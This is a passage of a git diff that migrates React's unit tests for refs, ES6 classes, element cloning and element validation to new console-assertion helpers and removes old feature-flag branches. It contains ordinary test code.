diff --git a/packages/react/src/__tests__/ReactCreateRef-test.js b/packages/react/src/__tests__/ReactCreateRef-test.js
index 616c62e00c88..3dedb3ccdcee 100644
--- a/packages/react/src/__tests__/ReactCreateRef-test.js
+++ b/packages/react/src/__tests__/ReactCreateRef-test.js
@@ -12,6 +12,7 @@
 let React;
 let ReactDOM;
 let ReactDOMClient;
+let assertConsoleErrorDev;
 
 describe('ReactCreateRef', () => {
   beforeEach(() => {
@@ -20,6 +21,7 @@ describe('ReactCreateRef', () => {
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
+    ({assertConsoleErrorDev} = require('internal-test-utils'));
   });
 
   it('should warn in dev if an invalid ref object is provided', () => {
@@ -34,38 +36,30 @@ describe('ReactCreateRef', () => {
     }
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    expect(() =>
-      ReactDOM.flushSync(() => {
-        root.render(
-          <Wrapper>
-            <div ref={{}} />
-          </Wrapper>,
-        );
-      }),
-    ).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(
+        <Wrapper>
+          <div ref={{}} />
+        </Wrapper>,
+      );
+    });
+    assertConsoleErrorDev([
       'Unexpected ref object provided for div. ' +
         'Use either a ref-setter function or React.createRef().\n' +
-        '    in div (at **)' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '\n    in Wrapper (at **)'),
-    );
+        '    in div (at **)',
+    ]);
 
-    expect(() =>
-      ReactDOM.flushSync(() => {
-        root.render(
-          <Wrapper>
-            <ExampleComponent ref={{}} />
-          </Wrapper>,
-        );
-      }),
-    ).toErrorDev(
+    ReactDOM.flushSync(() => {
+      root.render(
+        <Wrapper>
+          <ExampleComponent ref={{}} />
+        </Wrapper>,
+      );
+    });
+    assertConsoleErrorDev([
       'Unexpected ref object provided for ExampleComponent. ' +
         'Use either a ref-setter function or React.createRef().\n' +
-        '    in ExampleComponent (at **)' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '\n    in Wrapper (at **)'),
-    );
+        '    in ExampleComponent (at **)',
+    ]);
   });
 });
diff --git a/packages/react/src/__tests__/ReactES6Class-test.js b/packages/react/src/__tests__/ReactES6Class-test.js
index 05be9c6f38a4..c6e9906b0675 100644
--- a/packages/react/src/__tests__/ReactES6Class-test.js
+++ b/packages/react/src/__tests__/ReactES6Class-test.js
@@ -13,6 +13,8 @@ let PropTypes;
 let React;
 let ReactDOM;
 let ReactDOMClient;
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 describe('ReactES6Class', () => {
   let container;
@@ -30,6 +32,10 @@ describe('ReactES6Class', () => {
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
+    ({
+      assertConsoleErrorDev,
+      assertConsoleWarnDev,
+    } = require('internal-test-utils'));
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
     attachedListener = null;
@@ -67,14 +73,15 @@ describe('ReactES6Class', () => {
     }
     window.addEventListener('error', errorHandler);
     try {
-      expect(() => {
-        ReactDOM.flushSync(() => root.render(<Foo />));
-      }).toErrorDev([
+      ReactDOM.flushSync(() => root.render(<Foo />));
+      assertConsoleErrorDev([
         // A failed component renders twice in DEV in concurrent mode
         'No `render` method found on the Foo instance: ' +
-          'you may have forgotten to define `render`.',
+          'you may have forgotten to define `render`.\n' +
+          '    in Foo (at **)',
         'No `render` method found on the Foo instance: ' +
-          'you may have forgotten to define `render`.',
+          'you may have forgotten to define `render`.\n' +
+          '    in Foo (at **)',
       ]);
     } finally {
       window.removeEventListener('error', errorHandler);
@@ -156,12 +163,12 @@ describe('ReactES6Class', () => {
         return <div />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
-    }).toErrorDev(
+    ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
+    assertConsoleErrorDev([
       'Foo: getDerivedStateFromProps() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.',
-    );
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('warns if getDerivedStateFromError is not static', () => {
@@ -173,12 +180,12 @@ describe('ReactES6Class', () => {
         return <div />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
-    }).toErrorDev(
+    ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
+    assertConsoleErrorDev([
       'Foo: getDerivedStateFromError() is defined as an instance method ' +
-        'and will be ignored. Instead, declare it as a static method.',
-    );
+        'and will be ignored. Instead, declare it as a static method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('warns if getSnapshotBeforeUpdate is static', () => {
@@ -188,12 +195,12 @@ describe('ReactES6Class', () => {
         return <div />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
-    }).toErrorDev(
+    ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
+    assertConsoleErrorDev([
       'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +
-        'and will be ignored. Instead, declare it as an instance method.',
-    );
+        'and will be ignored. Instead, declare it as an instance method.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('warns if state not initialized before static getDerivedStateFromProps', () => {
@@ -208,14 +215,14 @@ describe('ReactES6Class', () => {
         return <div className={`${this.state.foo} ${this.state.bar}`} />;
       }
     }
-    expect(() => {
-      ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
-    }).toErrorDev(
+    ReactDOM.flushSync(() => root.render(<Foo foo="foo" />));
+    assertConsoleErrorDev([
       '`Foo` uses `getDerivedStateFromProps` but its initial state is ' +
         'undefined. This is not recommended. Instead, define the initial state by ' +
         'assigning an object to `this.state` in the constructor of `Foo`. ' +
-        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.',
-    );
+        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\n' +
+        '    in Foo (at **)',
+    ]);
   });
 
   it('updates initial state with values returned by static getDerivedStateFromProps', () => {
@@ -264,11 +271,13 @@ describe('ReactES6Class', () => {
           super(props, context);
           this.state = {tag: context.tag, className: this.context.className};
         }
+
         render() {
           const Tag = this.state.tag;
           return <Tag className={this.state.className} />;
         }
       }
+
       Foo.contextTypes = {
         tag: PropTypes.string,
         className: PropTypes.string,
@@ -278,15 +287,26 @@ describe('ReactES6Class', () => {
         getChildContext() {
           return {tag: 'span', className: 'foo'};
         }
+
         render() {
           return <Foo />;
         }
       }
+
       Outer.childContextTypes = {
         tag: PropTypes.string,
         className: PropTypes.string,
       };
       runTest(<Outer />, 'SPAN', 'foo');
+
+      assertConsoleErrorDev([
+        'Outer uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Outer (at **)',
+        'Foo uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Outer (at **)',
+      ]);
     });
   }
 
@@ -320,9 +340,10 @@ describe('ReactES6Class', () => {
           return <span />;
         }
       }
-      expect(() => runTest(<Foo />, 'SPAN', '')).toErrorDev(
-        'Foo.state: must be set to an object or null',
-      );
+      runTest(<Foo />, 'SPAN', '');
+      assertConsoleErrorDev([
+        'Foo.state: must be set to an object or null\n    in Foo (at **)',
+      ]);
     });
   });
 
@@ -459,7 +480,6 @@ describe('ReactES6Class', () => {
           super();
           this.contextTypes = {};
           this.contextType = {};
-          this.propTypes = {};
         }
         getInitialState() {
           getInitialStateWasCalled = true;
@@ -474,12 +494,22 @@ describe('ReactES6Class', () => {
         }
       }
 
-      expect(() => runTest(<Foo />, 'SPAN', 'foo')).toErrorDev([
-        'getInitialState was defined on Foo, a plain JavaScript class.',
-        'getDefaultProps was defined on Foo, a plain JavaScript class.',
-        'propTypes was defined as an instance property on Foo.',
-        'contextType was defined as an instance property on Foo.',
-        'contextTypes was defined as an instance property on Foo.',
+      runTest(<Foo />, 'SPAN', 'foo');
+      assertConsoleErrorDev([
+        'getInitialState was defined on Foo, a plain JavaScript class. ' +
+          'This is only supported for classes created using React.createClass. ' +
+          'Did you mean to define a state property instead?\n' +
+          '    in Foo (at **)',
+        'getDefaultProps was defined on Foo, a plain JavaScript class. ' +
+          'This is only supported for classes created using React.createClass. ' +
+          'Use a static property to define defaultProps instead.\n' +
+          '    in Foo (at **)',
+        'contextType was defined as an instance property on Foo. ' +
+          'Use a static property to define contextType instead.\n' +
+          '    in Foo (at **)',
+        'contextTypes was defined as an instance property on Foo. ' +
+          'Use a static property to define contextTypes instead.\n' +
+          '    in Foo (at **)',
       ]);
       expect(getInitialStateWasCalled).toBe(false);
       expect(getDefaultPropsWasCalled).toBe(false);
@@ -509,11 +539,13 @@ describe('ReactES6Class', () => {
       }
     }
 
-    expect(() => runTest(<NamedComponent />, 'SPAN', 'foo')).toErrorDev(
+    runTest(<NamedComponent />, 'SPAN', 'foo');
+    assertConsoleErrorDev([
       'NamedComponent has a method called componentShouldUpdate(). Did you ' +
         'mean shouldComponentUpdate()? The name is phrased as a question ' +
-        'because the function is expected to return a value.',
-    );
+        'because the function is expected to return a value.\n' +
+        '    in NamedComponent (at **)',
+    ]);
   });
 
   it('should warn when misspelling componentWillReceiveProps', () => {
@@ -526,10 +558,12 @@ describe('ReactES6Class', () => {
       }
     }
 
-    expect(() => runTest(<NamedComponent />, 'SPAN', 'foo')).toErrorDev(
+    runTest(<NamedComponent />, 'SPAN', 'foo');
+    assertConsoleErrorDev([
       'NamedComponent has a method called componentWillRecieveProps(). Did ' +
-        'you mean componentWillReceiveProps()?',
-    );
+        'you mean componentWillReceiveProps()?\n' +
+        '     in NamedComponent (at **)',
+    ]);
   });
 
   it('should warn when misspelling UNSAFE_componentWillReceiveProps', () => {
@@ -542,25 +576,29 @@ describe('ReactES6Class', () => {
       }
     }
 
-    expect(() => runTest(<NamedComponent />, 'SPAN', 'foo')).toErrorDev(
+    runTest(<NamedComponent />, 'SPAN', 'foo');
+    assertConsoleErrorDev([
       'NamedComponent has a method called UNSAFE_componentWillRecieveProps(). ' +
-        'Did you mean UNSAFE_componentWillReceiveProps()?',
-    );
+        'Did you mean UNSAFE_componentWillReceiveProps()?\n' +
+        '    in NamedComponent (at **)',
+    ]);
   });
 
   it('should throw AND warn when trying to access classic APIs', () => {
     const ref = React.createRef();
     runTest(<Inner name="foo" ref={ref} />, 'DIV', 'foo');
-    expect(() =>
-      expect(() => ref.current.replaceState({})).toThrow(),
-    ).toWarnDev(
-      'replaceState(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true},
-    );
-    expect(() => expect(() => ref.current.isMounted()).toThrow()).toWarnDev(
-      'isMounted(...) is deprecated in plain JavaScript React classes',
-      {withoutStack: true},
-    );
+
+    expect(() => ref.current.replaceState({})).toThrow();
+    assertConsoleWarnDev([
+      'replaceState(...) is deprecated in plain JavaScript React classes. ' +
+        'Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236).',
+    ]);
+    expect(() => ref.current.isMounted()).toThrow();
+    assertConsoleWarnDev([
+      'isMounted(...) is deprecated in plain JavaScript React classes. ' +
+        'Instead, make sure to clean up subscriptions and pending requests in ' +
+        'componentWillUnmount to prevent memory leaks.',
+    ]);
   });
 
   if (!require('shared/ReactFeatureFlags').disableLegacyContext) {
@@ -570,38 +608,29 @@ describe('ReactES6Class', () => {
           return <div className={this.context.bar} />;
         }
       }
+
       Bar.contextTypes = {bar: PropTypes.string};
+
       class Foo extends React.Component {
         getChildContext() {
           return {bar: 'bar-through-context'};
         }
+
         render() {
           return <Bar />;
         }
       }
+
       Foo.childContextTypes = {bar: PropTypes.string};
       runTest(<Foo />, 'DIV', 'bar-through-context');
-    });
-  }
-
-  if (!require('shared/ReactFeatureFlags').disableStringRefs) {
-    it('supports string refs', () => {
-      class Foo extends React.Component {
-        render() {
-          return <Inner name="foo" ref="inner" />;
-        }
-      }
-      const ref = React.createRef();
-      expect(() => {
-        runTest(<Foo ref={ref} />, 'DIV', 'foo');
-      }).toErrorDev([
-        'Component "Foo" contains the string ref "inner". ' +
-          'Support for string refs will be removed in a future major release. ' +
-          'We recommend using useRef() or createRef() instead. ' +
-          'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-          '    in Inner (at **)',
+      assertConsoleErrorDev([
+        'Foo uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Foo (at **)',
+        'Bar uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Foo (at **)',
       ]);
-      expect(ref.current.refs.inner.getName()).toBe('foo');
     });
   }
 });
diff --git a/packages/react/src/__tests__/ReactElementClone-test.js b/packages/react/src/__tests__/ReactElementClone-test.js
index 1acf56749ed6..770cd20a84a3 100644
--- a/packages/react/src/__tests__/ReactElementClone-test.js
+++ b/packages/react/src/__tests__/ReactElementClone-test.js
@@ -12,6 +12,7 @@
 let act;
 let React;
 let ReactDOMClient;
+let assertConsoleErrorDev;
 
 describe('ReactElementClone', () => {
   let ComponentClass;
@@ -19,7 +20,7 @@ describe('ReactElementClone', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
@@ -212,11 +213,7 @@ describe('ReactElementClone', () => {
           ref: this.xyzRef,
         });
         expect(clone.key).toBe('xyz');
-        if (gate(flags => flags.enableRefAsProp)) {
-          expect(clone.props.ref).toBe(this.xyzRef);
-        } else {
-          expect(clone.ref).toBe(this.xyzRef);
-        }
+        expect(clone.props.ref).toBe(this.xyzRef);
         return <div>{clone}</div>;
       }
     }
@@ -274,56 +271,8 @@ describe('ReactElementClone', () => {
 
     const root = ReactDOMClient.createRoot(document.createElement('div'));
     await act(() => root.render(<Grandparent />));
-    if (gate(flags => flags.enableRefAsProp && flags.disableStringRefs)) {
-      expect(component.childRef).toEqual({current: null});
-      expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');
-    } else if (
-      gate(flags => !flags.enableRefAsProp && !flags.disableStringRefs)
-    ) {
-      expect(component.childRef).toEqual({current: null});
-      expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');
-    } else if (
-      gate(flags => flags.enableRefAsProp && !flags.disableStringRefs)
-    ) {
-      expect(component.childRef).toEqual({current: null});
-      expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');
-    } else {
-      // Not going to bother testing every possible combination.
-    }
-  });
-
-  // @gate !disableStringRefs
-  it('should steal the ref if a new string ref is specified without an owner', async () => {
-    // Regression test for this specific feature combination calling cloneElement on an element
-    // without an owner
-    await expect(async () => {
-      // create an element without an owner
-      const element = React.createElement('div', {id: 'some-id'});
-      class Parent extends React.Component {
-        render() {
-          return <Child>{element}</Child>;
-        }
-      }
-      let child;
-      class Child extends React.Component {
-        render() {
-          child = this;
-          const clone = React.cloneElement(this.props.children, {
-            ref: 'xyz',
-          });
-          return <div>{clone}</div>;
-        }
-      }
-
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(<Parent />));
-      expect(child.refs.xyz.tagName).toBe('DIV');
-    }).toErrorDev([
-      'Component "Child" contains the string ref "xyz". Support for ' +
-        'string refs will be removed in a future major release. We recommend ' +
-        'using useRef() or createRef() instead. Learn more about using refs ' +
-        'safely here: https://react.dev/link/strict-mode-string-ref',
-    ]);
+    expect(component.childRef).toEqual({current: null});
+    expect(component.parentRef.current.xyzRef.current.tagName).toBe('SPAN');
   });
 
   it('should overwrite props', async () => {
@@ -342,35 +291,16 @@ describe('ReactElementClone', () => {
     );
   });
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('should normalize props with default values', () => {
-    class Component extends React.Component {
-      render() {
-        return <span />;
-      }
-    }
-    Component.defaultProps = {prop: 'testKey'};
-
-    const instance = React.createElement(Component);
-    const clonedInstance = React.cloneElement(instance, {prop: undefined});
-    expect(clonedInstance.props.prop).toBe('testKey');
-    const clonedInstance2 = React.cloneElement(instance, {prop: null});
-    expect(clonedInstance2.props.prop).toBe(null);
-
-    const instance2 = React.createElement(Component, {prop: 'newTestKey'});
-    const cloneInstance3 = React.cloneElement(instance2, {prop: undefined});
-    expect(cloneInstance3.props.prop).toBe('testKey');
-    const cloneInstance4 = React.cloneElement(instance2, {});
-    expect(cloneInstance4.props.prop).toBe('newTestKey');
-  });
-
   it('warns for keys for arrays of elements in rest args', async () => {
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() => {
-        root.render(React.cloneElement(<div />, null, [<div />, <div />]));
-      });
-    }).toErrorDev('Each child in a list should have a unique "key" prop.');
+    await act(() => {
+      root.render(React.cloneElement(<div />, null, [<div />, <div />]));
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the top-level render call using <div>. See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('does not warns for arrays of elements with keys', async () => {
@@ -397,11 +327,7 @@ describe('ReactElementClone', () => {
     const elementA = React.createElement('div');
     const elementB = React.cloneElement(elementA, elementA.props);
     expect(elementB.key).toBe(null);
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(elementB.ref).toBe(null);
-    } else {
-      expect(elementB.ref).toBe(null);
-    }
+    expect(elementB.ref).toBe(null);
   });
 
   it('should ignore undefined key and ref', () => {
@@ -418,30 +344,14 @@ describe('ReactElementClone', () => {
     const clone = React.cloneElement(element, props);
     expect(clone.type).toBe(ComponentClass);
     expect(clone.key).toBe('12');
-    if (gate(flags => flags.enableRefAsProp && flags.disableStringRefs)) {
-      expect(clone.props.ref).toBe('34');
-      expect(() => expect(clone.ref).toBe('34')).toErrorDev(
-        'Accessing element.ref was removed in React 19',
-        {withoutStack: true},
-      );
-      expect(clone.props).toEqual({foo: 'ef', ref: '34'});
-    } else if (
-      gate(flags => !flags.enableRefAsProp && !flags.disableStringRefs)
-    ) {
-      expect(clone.ref).toBe(element.ref);
-      expect(clone.props).toEqual({foo: 'ef'});
-    } else if (
-      gate(flags => flags.enableRefAsProp && !flags.disableStringRefs)
-    ) {
-      expect(() => {
-        expect(clone.ref).toBe(element.ref);
-      }).toErrorDev('Accessing element.ref was removed in React 19', {
-        withoutStack: true,
-      });
-      expect(clone.props).toEqual({foo: 'ef', ref: element.ref});
-    } else {
-      // Not going to bother testing every possible combination.
-    }
+    expect(clone.props.ref).toBe('34');
+    expect(clone.ref).toBe('34');
+    assertConsoleErrorDev([
+      'Accessing element.ref was removed in React 19. ref is now a ' +
+        'regular prop. It will be removed from the JSX Element ' +
+        'type in a future release.',
+    ]);
+    expect(clone.props).toEqual({foo: 'ef', ref: '34'});
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
@@ -462,14 +372,8 @@ describe('ReactElementClone', () => {
     const clone = React.cloneElement(element, props);
     expect(clone.type).toBe(ComponentClass);
     expect(clone.key).toBe('null');
-    if (gate(flags => flags.enableRefAsProp)) {
-      expect(clone.ref).toBe(null);
-      expect(clone.props).toEqual({foo: 'ef', ref: null});
-    } else {
-      expect(clone.ref).toBe(null);
-      expect(clone.props).toEqual({foo: 'ef'});
-    }
-
+    expect(clone.ref).toBe(null);
+    expect(clone.props).toEqual({foo: 'ef', ref: null});
     if (__DEV__) {
       expect(Object.isFrozen(element)).toBe(true);
       expect(Object.isFrozen(element.props)).toBe(true);
diff --git a/packages/react/src/__tests__/ReactElementValidator-test.internal.js b/packages/react/src/__tests__/ReactElementValidator-test.internal.js
index 00c92eabe703..f1ee7026346e 100644
--- a/packages/react/src/__tests__/ReactElementValidator-test.internal.js
+++ b/packages/react/src/__tests__/ReactElementValidator-test.internal.js
@@ -18,6 +18,7 @@
 let React;
 let ReactDOMClient;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactElementValidator', () => {
   let ComponentClass;
@@ -27,7 +28,7 @@ describe('ReactElementValidator', () => {
 
     React = require('react');
     ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     ComponentClass = class extends React.Component {
       render() {
         return React.createElement('div', null, this.props.children);
@@ -37,16 +38,19 @@ describe('ReactElementValidator', () => {
 
   it('warns for keys for arrays of elements in rest args', async () => {
     const root = ReactDOMClient.createRoot(document.createElement('div'));
-    await expect(async () => {
-      await act(() =>
-        root.render(
-          React.createElement(ComponentClass, null, [
-            React.createElement(ComponentClass),
-            React.createElement(ComponentClass),
-          ]),
-        ),
-      );
-    }).toErrorDev('Each child in a list should have a unique "key" prop.');
+    await act(() =>
+      root.render(
+        React.createElement(ComponentClass, null, [
+          React.createElement(ComponentClass),
+          React.createElement(ComponentClass),
+        ]),
+      ),
+    );
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `ComponentClass`. See https://react.dev/link/warning-keys for more information.\n' +
+        '    in ComponentClass (at **)',
+    ]);
   });
 
   it('warns for keys for arrays of elements with owner info', async () => {
@@ -67,18 +71,15 @@ describe('ReactElementValidator', () => {
       }
     }
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(React.createElement(ComponentWrapper)));
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => root.render(React.createElement(ComponentWrapper)));
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
-        '\n\nCheck the render method of `' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? 'ComponentClass'
-          : 'InnerClass') +
-        '`. ' +
-        'It was passed a child from ComponentWrapper. ',
-    );
+        '\n\nCheck the render method of `ComponentClass`. ' +
+        'It was passed a child from ComponentWrapper. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in ComponentWrapper (at **)',
+    ]);
   });
 
   it('warns for keys for arrays with no owner or parent info', async () => {
@@ -89,36 +90,31 @@ describe('ReactElementValidator', () => {
 
     const divs = [<div />, <div />];
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(<Anonymous>{divs}</Anonymous>));
-    }).toErrorDev(
-      gate(flags => flags.enableOwnerStacks)
-        ? // For owner stacks the parent being validated is the div.
-          'Each child in a list should have a unique ' +
-            '"key" prop.' +
-            '\n\nCheck the top-level render call using <div>. ' +
-            'See https://react.dev/link/warning-keys for more information.\n' +
-            '    in div (at **)'
-        : 'Each child in a list should have a unique ' +
-            '"key" prop. See https://react.dev/link/warning-keys for more information.\n' +
-            '    in div (at **)',
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => root.render(<Anonymous>{divs}</Anonymous>));
+    assertConsoleErrorDev([
+      // For owner stacks the parent being validated is the div.
+      'Each child in a list should have a unique ' +
+        '"key" prop.' +
+        '\n\nCheck the top-level render call using <div>. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('warns for keys for arrays of elements with no owner info', async () => {
     const divs = [<div />, <div />];
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
 
-      await act(() => root.render(<div>{divs}</div>));
-    }).toErrorDev(
+    await act(() => root.render(<div>{divs}</div>));
+    assertConsoleErrorDev([
       'Each child in a list should have a unique ' +
-        '"key" prop.\n\nCheck the top-level render call using <div>. See ' +
-        'https://react.dev/link/warning-keys for more information.\n' +
+        '"key" prop.' +
+        '\n\nCheck the top-level render call using <div>. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
         '    in div (at **)',
-    );
+    ]);
   });
 
   it('warns for keys with component stack info', async () => {
@@ -134,20 +130,16 @@ describe('ReactElementValidator', () => {
       return <Parent child={<Component />} />;
     }
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(<GrandParent />));
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => root.render(<GrandParent />));
+    assertConsoleErrorDev([
       'Each child in a list should have a unique ' +
         '"key" prop.\n\nCheck the render method of `Component`. See ' +
         'https://react.dev/link/warning-keys for more information.\n' +
         '    in div (at **)\n' +
         '    in Component (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '    in Parent (at **)\n') +
         '    in GrandParent (at **)',
-    );
+    ]);
   });
 
   it('does not warn for keys when passing children down', async () => {
@@ -187,23 +179,16 @@ describe('ReactElementValidator', () => {
       },
     };
 
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() =>
-        root.render(React.createElement(ComponentClass, null, iterable)),
-      );
-    }).toErrorDev(
-      gate(flag => flag.enableOwnerStacks)
-        ? 'Each child in a list should have a unique "key" prop.'
-        : // Since each pass generates a new element, it doesn't get marked as
-          // validated and it gets rechecked each time.
-
-          [
-            'Each child in a list should have a unique "key" prop.',
-            'Each child in a list should have a unique "key" prop.',
-            'Each child in a list should have a unique "key" prop.',
-          ],
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() =>
+      root.render(React.createElement(ComponentClass, null, iterable)),
     );
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the render method of `ComponentClass`. It was passed a child from div. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in ComponentClass (at **)',
+    ]);
   });
 
   it('does not warns for arrays of elements with keys', () => {
@@ -254,86 +239,95 @@ describe('ReactElementValidator', () => {
     function ParentComp() {
       return React.createElement(MyComp);
     }
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'));
-      await act(() => root.render(React.createElement(ParentComp)));
-    }).toErrorDev(
+    const root = ReactDOMClient.createRoot(document.createElement('div'));
+    await act(() => root.render(React.createElement(ParentComp)));
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.' +
         '\n\nCheck the render method of `ParentComp`. It was passed a child from MyComp. ' +
         'See https://react.dev/link/warning-keys for more information.\n' +
         '    in div (at **)\n' +
         '    in MyComp (at **)\n' +
         '    in ParentComp (at **)',
-    );
+    ]);
   });
 
   it('gives a helpful error when passing invalid types', async () => {
     function Foo() {}
     const errors = [];
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(document.createElement('div'), {
-        onUncaughtError(error) {
-          errors.push(error.message);
-        },
-      });
-      const cases = [
-        React.createElement(undefined),
-        React.createElement(null),
-        React.createElement(true),
-        React.createElement({x: 17}),
-        React.createElement({}),
-        React.createElement(React.createElement('div')),
-        React.createElement(React.createElement(Foo)),
-        React.createElement(
-          React.createElement(React.createContext().Consumer),
-        ),
-        React.createElement({$$typeof: 'non-react-thing'}),
-      ];
-      for (let i = 0; i < cases.length; i++) {
-        await act(() => root.render(cases[i]));
-      }
-    }).toErrorDev(
-      gate(flag => flag.enableOwnerStacks)
-        ? // We don't need these extra warnings because we already have the errors.
-          []
-        : [
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: undefined. You likely forgot to export your ' +
-              "component from the file it's defined in, or you might have mixed up " +
-              'default and named imports.',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: null.',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: boolean.',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: object.',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: object. You likely forgot to export your ' +
-              "component from the file it's defined in, or you might have mixed up " +
-              'default and named imports.',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: <div />. Did you accidentally export a JSX literal ' +
-              'instead of a component?',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: <Foo />. Did you accidentally export a JSX literal ' +
-              'instead of a component?',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: <Context.Consumer />. Did you accidentally ' +
-              'export a JSX literal instead of a component?',
-            'React.createElement: type is invalid -- expected a string ' +
-              '(for built-in components) or a class/function (for composite ' +
-              'components) but got: object.',
-          ],
-      {withoutStack: true},
-    );
+    const root = ReactDOMClient.createRoot(document.createElement('div'), {
+      onUncaughtError(error) {
+        errors.push(error.message);
+      },
+    });
+    const cases = [
+      [
+        () => React.createElement(undefined),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: undefined. You likely forgot to export your ' +
+          "component from the file it's defined in, or you might have mixed up " +
+          'default and named imports.',
+      ],
+      [
+        () => React.createElement(null),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: null.',
+      ],
+      [
+        () => React.createElement(true),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: boolean.',
+      ],
+      [
+        () => React.createElement({x: 17}),
+        'React.createElement: type is invalid -- expected a string ' +
+          '(for built-in components) or a class/function (for composite ' +
+          'components) but got: object.',
+      ],
+      [
+        () => React.createElement({}),
+        'React.createElement: type is invalid -- expected a string ' +
